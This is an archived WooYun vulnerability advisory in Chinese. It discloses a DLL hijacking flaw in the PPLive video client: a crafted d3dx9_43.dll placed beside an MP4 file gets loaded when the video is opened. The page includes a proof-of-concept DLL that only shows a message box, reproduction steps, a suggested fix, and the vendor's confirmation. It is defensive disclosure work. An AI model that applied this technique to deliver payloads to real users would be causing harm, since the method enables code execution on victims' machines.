当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0141878

漏洞标题:PPLive视频客户端远程代码执行漏洞(附漏洞POC)

相关厂商:PPTV(PPlive)

漏洞作者: 路人甲

提交时间:2015-09-18 08:22

修复时间:2015-12-20 12:28

公开时间:2015-12-20 12:28

漏洞类型:远程代码执行

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-18: 细节已通知厂商并且等待厂商处理中
2015-09-21: 厂商已经确认,细节仅向厂商公开
2015-09-24: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-11-15: 细节向核心白帽子及相关领域专家公开
2015-11-25: 细节向普通白帽子公开
2015-12-05: 细节向实习白帽子公开
2015-12-20: 细节向公众公开

简要描述:

PPLive视频客户端存在远程代码执行漏洞。

详细说明:

PPLive视频客户端存在DLL劫持漏洞。 当我们使用PPLive打开一个视频时(比如Test.mp4),PPLive.exe进程会尝试加载视频所在目录下的d3dx9_43.dll文件。 如果将视频文件与恶意的DLL文件放在同一个目录下,打包发给受害者,受害者解压后打开视频就会中招。

漏洞证明:

首先从官网下载一个最新的PPTV(PPLive)视频客户端,下载地址为http://**.**.**.**/pptvsetup_**.**.**.**6.exe,看一下数字签名时间:

InstallerVersion.png


检查下是否是最新版本:

CheckNewVersion.png


现在我们需要编译一个d3dx9_43.dll文件,代码如下(弹框提示证明DLL可以被加载):

#include <windows.h>
BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpReserved )
{
switch( fdwReason )
{
case DLL_PROCESS_ATTACH:
MessageBoxA(
NULL,
"DLL hijacking vulnerability detected.",
"Test",
MB_ICONWARNING);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}


编译好之后,名字改成d3dx9_43.dll,然后找一个正常的MP4视频文件,和这个DLL放在同一目录下(注意,是可以正常播放的视频文件,是可以正常播放的视频文件,是可以正常播放的视频文件):

POC.png


现在,如果PPLive.exe还开着,请先退出,请先退出,请先退出。
现在,请把PPLive.exe关联MP4文件格式,请关联MP4格式,请关联MP4格式。
现在在资源管理器中双击视频文件(是双击!)打开,发现DLL成功被加载了,如下图所示(右边那个黑框框就是PPLive播放器,因为DLL弹了MessageBox,所以播放界面卡住了):

Hijacking.png


复查一下,可以看到PPLive.exe确实加载了恶意的d3dx9_43.dll文件:

Process.png

修复方案:

在PPLive.exe进程中调用SetDllDirectory(""),将当前DLL搜寻目录设置为空。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-09-21 12:28

厂商回复:

多谢大侠关注,已经验证问题并安排研发修复中~~

最新状态:

暂无